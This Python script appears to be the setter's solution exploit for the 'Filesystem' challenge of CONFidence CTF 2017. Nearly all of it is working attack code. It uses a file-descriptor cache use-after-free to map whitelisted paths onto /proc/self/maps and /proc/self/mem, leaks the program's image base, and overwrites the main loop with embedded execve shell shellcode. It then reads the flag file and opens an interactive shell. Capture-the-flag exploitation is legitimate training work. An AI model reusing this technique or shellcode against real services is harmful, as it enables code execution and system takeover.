#!/usr/bin/env python
# -*- coding: utf-8 -*-
#
# Filename:         exploit.py
# Author:           Mateusz Jurczyk
# Task:             Filesystem
# Competition:      CONFidence CTF 2017
# Category:         Software exploitation
# Scoring:          250 pts (medium difficulty)
# Number of solves: 5 out of 22 teams

import os
import random
import sys
import struct
import socket
import string
import telnetlib
import time

# Size of the fd cache used by the program.
CACHE_SIZE = 16

# Shellcode from http://shell-storm.org/shellcode/files/shellcode-806.php.
SHELLCODE = ("\x31\xc0\x48\xbb\xd1\x9d\x96\x91\xd0\x8c\x97\xff\x48\xf7" +
             "\xdb\x53\x54\x5f\x99\x52\x57\x54\x5e\xb0\x3b\x0f\x05")

# Offset in the .text section of the task executable that is overwritten with
# shellcode. Currently it's the start of the main program loop.
OVERWRITTEN_PROGRAM_OFFSET = 0x21E1

def read_until(s, text):
  buffer = ""
  while len(buffer) < len(text):
    buffer += s.recv(1)
  while buffer[-len(text):] != text:
    buffer += s.recv(1)
  return buffer[:-len(text)]

def whitelisted_path(filename):
  return filename == "/dev/null" or filename == "/dev/urandom"

def func_read(s, filename, count):
  read_until(s, "Read, write, seek: ")
  s.sendall("read\n")
  read_until(s, "Filename: ")
  s.sendall("%s\n" % filename)
  if whitelisted_path(filename):
    read_until(s, "Count: ")
    s.sendall("%d\n" % count)

def func_write(s, filename, data):
  read_until(s, "Read, write, seek: ")
  s.sendall("write\n")
  read_until(s, "Filename: ")
  s.sendall("%s\n" % filename)
  if whitelisted_path(filename):
    read_until(s, "Data: ")
    s.sendall("%s\n" % data.encode("hex"))

def func_seek(s, filename, offset):
  read_until(s, "Read, write, seek: ")
  s.sendall("seek\n")
  read_until(s, "Filename: ")
  s.sendall("%s\n" % filename)
  if whitelisted_path(filename):
    read_until(s, "Offset: ")
    s.sendall("%d\n" % offset)
    read_until(s, "Whence: ")
    s.sendall("0\n")

def create_uaf_link(s, entries_in_cache, from_file, to_file, write_access = False):
  # If there are already any entries in the cache, make sure to flush it so that
  # we can start the UAF exploitation process with a clean state.
  if entries_in_cache != 0:
    for _ in xrange(CACHE_SIZE - entries_in_cache + 1):
      func_read(s, "/dev/" + "./" * (_ + 1) + "null", None)

  # Create a single cache entry for from_file and reference it CACHE_SIZE + 1
  # times.
  for _ in xrange(CACHE_SIZE + 1):
    func_read(s, from_file, 0)

  # Create CACHE_SIZE more entries and reference each of them once, which will
  # overflow the cache, resulting in flushing its contents except for the
  # from_file path. That path will now be mapped to a freed fd.
  for _ in xrange(CACHE_SIZE):
    func_read(s, from_file[0] * (_ + 2) + from_file[1:], None)

  # Map the from_file path to the to_file fd (with write access, if necessary).
  if write_access:
    func_write(s, to_file, "\x00")
  else:
    func_read(s, to_file, None)

def main():
  # Connect to the service.
  s = socket.socket()
  s.connect(("127.0.0.1", 4242))

  # Use the fd use-after-free to link the /dev/urandom path in the cache to
  # /proc/self/maps.
  create_uaf_link(s, 0, "/dev/urandom", "/proc/self/maps")

  # Read the process memory map, and look for the "filesystem" image base.
  func_read(s, "/dev/urandom", 10000)

  IMAGEBASE = None
  while True:
    line = read_until(s, "\n")
    if line.strip().endswith("filesystem"):
      IMAGEBASE = int(line[:line.find("-")], 16)
      break

  print "[+] Found image base: %x" % IMAGEBASE

  # Create another link between /dev/null and /proc/self/mem, so that we can
  # directly write to the process memory.
  create_uaf_link(s, 2, "/dev/null", "/proc/self/mem", write_access = True)

  # Move the /proc/self/mem descriptor to the offset of overwritten program
  # instructions.
  func_seek(s, "/dev/null", IMAGEBASE + OVERWRITTEN_PROGRAM_OFFSET)

  # Write the shellcode to program memory, which should also immediately trigger
  # it.
  func_write(s, "/dev/null", SHELLCODE)

  # Send a command to retrieve the flag immediately.
  print "[+] Enjoy your flag and shell now: "
  s.sendall("cat find_the_flag_here.txt\n")

  # Switch to interactive mode.
  t = telnetlib.Telnet()
  t.sock = s
  t.interact()

if __name__ == "__main__":
  main()
